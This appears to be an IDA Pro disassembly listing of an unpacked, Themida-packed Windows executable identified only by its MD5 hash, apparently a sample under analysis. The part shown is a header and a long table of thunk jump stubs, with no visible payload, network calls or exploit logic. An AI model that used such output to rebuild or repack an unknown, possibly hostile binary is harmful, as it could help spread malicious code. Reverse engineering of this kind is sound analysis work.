;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	B4AA1162928C1017EC18E46347464879

; File Name   :	u:\work\b4aa1162928c1017ec18e46347464879_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00112000 (1122304.)
; Section size in file		: 00112000 (1122304.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
byte_401000	db 5 dup(0CCh)		; DATA XREF: Themida_:00582DB4o
; ---------------------------------------------------------------------------
		jmp	loc_430920
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43F09Co
		jmp	loc_412D80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421BF0+29p
		jmp	sub_422150
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_432540
; ---------------------------------------------------------------------------
		jmp	loc_420EA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004119B3p
		jmp	sub_4119E0
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B29Dp
					; ___:0040B2AAp ...
		jmp	sub_403C50
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FB90+34p
		jmp	sub_40B0E0
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404CC0+616p
					; sub_404CC0+6D5p ...
		jmp	sub_40A110
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42B3F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_4135E0+3Bp
					; ___:00414C00p
		jmp	sub_4156D0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_430B30+6Ep
					; sub_430B30+8Ap ...
		jmp	sub_4342D0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:00430212p
					; sub_430B30+3Fp ...
		jmp	sub_434150
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423A40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D210
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B0E0+3Ap
					; sub_40B150+1Ap
		jmp	sub_433C70
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E760+37Bp
		jmp	sub_421D30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C1A0+8p
		jmp	sub_40C360
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_432BF0+5Ap
					; sub_434A00+50p
		jmp	sub_432BB0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43F07Co
		jmp	sub_41C710
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416FAAp
		jmp	sub_41FCD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40C040+32p
		jmp	sub_40C200
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416FBAp
		jmp	sub_418390
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415920+6Ap
					; sub_416380+32p
		jmp	sub_4162C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E760+161p
					; sub_4224E0+3p
		jmp	sub_421B50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ADE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421D30+3p
					; ___:004220FFp ...
		jmp	sub_422270
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C4E0+43p
		jmp	sub_40CBB0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_4292E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_4075C0+Ap
		jmp	sub_407660
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4246D0+23p
					; sub_424870+6p ...
		jmp	sub_4245E0
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_431EF0+F5p
					; sub_431EF0+14Fp
		jmp	sub_4340E0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4344C0+C8p
		jmp	sub_431C80
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043F174o
		jmp	sub_42B0B0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43F0A0o
		jmp	loc_41E3C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418430+D0p
					; sub_418590+2Dp
		jmp	sub_418B20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_410030+8D9p
					; sub_410030+990p ...
		jmp	sub_411930
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:00430626p
					; ___:00430694p ...
		jmp	sub_4321F0
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421E50+9p
					; sub_422340+18p
		jmp	sub_4224C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40AAD0+58p
					; sub_40AAD0+82p ...
		jmp	sub_40ACC0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422B40+3F1p
					; ___:00423BA6p ...
		jmp	sub_419BE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416110+7p
		jmp	sub_416740
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415600+5Bp
					; sub_415F70+11p ...
		jmp	sub_4161C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_42AF20+58p
		jmp	sub_42AD90
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421970+1Fp
		jmp	sub_421DB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_4220B0+11p
					; ___:004220D7p ...
		jmp	sub_4225D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421B30+3p
					; ___:00421E9Fp ...
		jmp	sub_422010
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_4144D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_428210+3p
		jmp	sub_428240
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415B00+11p
					; ___:00415B27p ...
		jmp	sub_416570
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_434600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421C60+5p
					; sub_421D50+6p ...
		jmp	sub_422250
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416B5Bp
					; ___:0043B25Ej ...
		jmp	sub_417B60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404CC0+6Ap
					; sub_404CC0+1AFp ...
		jmp	sub_412A40
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43F074o
		jmp	sub_4193C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_432D10+6p
					; ___:00432D23p ...
		jmp	sub_430770
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F6C0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43F15Co
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423D9Dp
		jmp	sub_423860
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_433240

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:00415178p
		jmp	sub_415A90
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41BA50+F7p
					; sub_41BA50+10Bp ...
		jmp	sub_409F80
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_4099F0+Ap
		jmp	sub_409AE0
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4134A0+55p
					; sub_4134A0+94p ...
		jmp	sub_415860
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425100+18Cp
					; ___:00425F7Dp
		jmp	sub_4236F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414C8Ep
		jmp	sub_415600
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_4288F0+3p
		jmp	sub_428920
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43F038o
		jmp	loc_4119B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415ED0+11p
					; ___:00415EF7p ...
		jmp	sub_4166F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418C10+23p
					; sub_418E80+11p
		jmp	sub_418F60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418B90+3p
					; sub_418F90+54p ...
		jmp	sub_418DE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_4096E0+6Ap
					; sub_4096E0+103p
		jmp	sub_409980
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_433B30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413E4Dp
		jmp	sub_413C40
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A2E4p
		jmp	sub_41B0E0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4134A0+88p
					; sub_4148A0+BFp ...
		jmp	sub_415A30
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_430770+7p
					; sub_4307E0+19p ...
		jmp	sub_434BA0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DBF0
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:0043239Ap
		jmp	sub_431D40
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_407230+11p
					; sub_4073C0+1Fp
		jmp	sub_407460
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_403720+3B5p
					; sub_403720+3C5p ...
		jmp	sub_403E50
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421D10+3p
		jmp	sub_422290
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C330+Ap
		jmp	sub_40C3F0
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_403720+1Dp
					; sub_407080+1Fp ...
		jmp	sub_403CC0
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413344p
					; ___:0043AC8Cj ...
		jmp	sub_415490
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42C640+3p
		jmp	sub_42C670
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AFE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414C9Dp
		jmp	sub_414D40
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407660+7p
					; sub_409AE0+7p ...
		jmp	sub_407690
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_4135E0+73p
					; ___:00414C3Dp ...
		jmp	sub_4156F0
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E760+58p
		jmp	sub_420630
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413E70+84p
		jmp	sub_4138B0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00433718p
		jmp	sub_431060
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_407510+8p
		jmp	sub_4075F0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404CC0+9Fp
					; sub_404CC0+230p ...
		jmp	sub_40A510
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A870+21p
					; sub_40AAD0+A5p
		jmp	sub_40AAB0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B050

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A510+129p
					; sub_40A8F0+4p ...
		jmp	sub_40A8C0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43F0DCo
		jmp	sub_427940
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004335ADp
		jmp	sub_430D60
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_407340+3p
					; ___:0040740Fp ...
		jmp	sub_4074D0
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D930+346p
					; sub_41D930+410p ...
		jmp	sub_421970
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421BB0+11p
					; sub_4220B0+1Fp
		jmp	sub_4221E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42C7E0+3p
		jmp	sub_42C810
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_4077E0
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C200+5Fp
		jmp	sub_40C3D0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_403530+F6p
					; sub_403530+12Ep ...
		jmp	sub_409D10
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E760+113p
					; sub_41E760+124p
		jmp	sub_421B30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043F060o
		jmp	sub_41F960
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416BFBp
					; ___:0043B1D2j ...
		jmp	sub_4177B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AFA0+Fp
		jmp	sub_431240
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418C10+32p
		jmp	sub_418E80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_434860

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415500+5p
					; sub_415710+6p ...
		jmp	sub_416130
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BD90+29p
					; sub_40BEB0+29p
		jmp	sub_40C040
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E760+3E9p
					; ___:0043C4ABj
		jmp	sub_421BF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4145A0+BFp
		jmp	sub_4152E0
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4165E0+Ap
		jmp	sub_416920
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416C67p
					; ___:0043B173j ...
		jmp	sub_4170B0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418430
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416F1Fp
		jmp	sub_4180D0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414760
; ---------------------------------------------------------------------------
		jmp	loc_430320

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_410030+387p
					; sub_41F030+21Dp ...
		jmp	sub_41B7E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416F5Ap
		jmp	sub_418280
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409570+8p
		jmp	sub_4095C0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_4096E0+A5p
					; sub_412C90+21p
		jmp	sub_4098F0
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404CC0+382p
					; sub_41D930+5AAp
		jmp	sub_41C130
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416E6Fp
		jmp	sub_403720
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418CC0+23p
					; sub_418F90+11p
		jmp	sub_4190E0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424920+Cp
					; sub_424920+3Ep ...
		jmp	sub_424410
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_430960

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404CC0+85Ap
					; sub_404CC0+AD6p ...
		jmp	sub_40A370
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042FE06p
					; ___:0042FE56p ...
		jmp	sub_432780
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E760+367p
					; sub_41E760+3D4p ...
		jmp	sub_421D80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_427D50+107o
		jmp	sub_427FD0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424800+18p
					; sub_424840+Ap ...
		jmp	sub_4247B0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416220+9p
					; sub_4162C0+18p
		jmp	sub_4168D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_432570+32o
		jmp	sub_432D70
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FE50
; ---------------------------------------------------------------------------
		jmp	loc_419CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_42AD90+67p
		jmp	sub_41FFF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:004301E8p
					; sub_4303A0+2p ...
		jmp	sub_431560
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413740+3Fp
					; sub_4145A0+40p ...
		jmp	sub_415230
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404690+19Fp
					; sub_404690+212p ...
		jmp	sub_409FD0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424F70+B5p
					; sub_424F70+F1p
		jmp	sub_424F00
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425100+130p
		jmp	sub_424F70
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416F3Ap
		jmp	sub_418180
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416F0Fp
		jmp	sub_418010
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4316C0+1p
		jmp	sub_431750
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00427201p
		jmp	sub_427740
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418430+71p
					; sub_418430+BBp ...
		jmp	sub_418AF0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A180+7p
		jmp	sub_40A1A0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004329C8p
					; sub_432A20+2Bp
		jmp	sub_432BF0
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_432570+1p
		jmp	sub_4327B0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4208E0+37Bp
		jmp	sub_421CD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414430+5Bp
		jmp	sub_415100
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_415490+29p
					; sub_4155B0+29p
		jmp	sub_416030
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00437232p
					; ___:00437242p ...
		jmp	sub_4370F0
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4134A0+5Fp
					; sub_4134A0+9Ep ...
		jmp	sub_415A60
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B600+62p
					; ___:0040BAC8p ...
		jmp	sub_40BF40
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4313B0
; ---------------------------------------------------------------------------
		jmp	loc_42FF30
; ---------------------------------------------------------------------------


loc_40134D:				; DATA XREF: ___:0043F1A8o
		jmp	loc_42C690
; ---------------------------------------------------------------------------
		jmp	loc_42C5D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416190+8p
		jmp	sub_4167B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4134A0+71p
					; sub_4134A0:loc_41356Cp ...
		jmp	sub_415A10
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418430+AFp
					; sub_4190E0+3p
		jmp	sub_418BB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043F104o
		jmp	sub_427D50
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B600+39p
					; sub_40B600+78p ...
		jmp	sub_40BF70
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_426A90+29p
					; sub_426A90+38p
		jmp	sub_4269A0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A600+1Cp
		jmp	sub_41A640
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043F164o
		jmp	sub_42AF20
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408C9Ep
					; ___:00414551p
		jmp	sub_414300
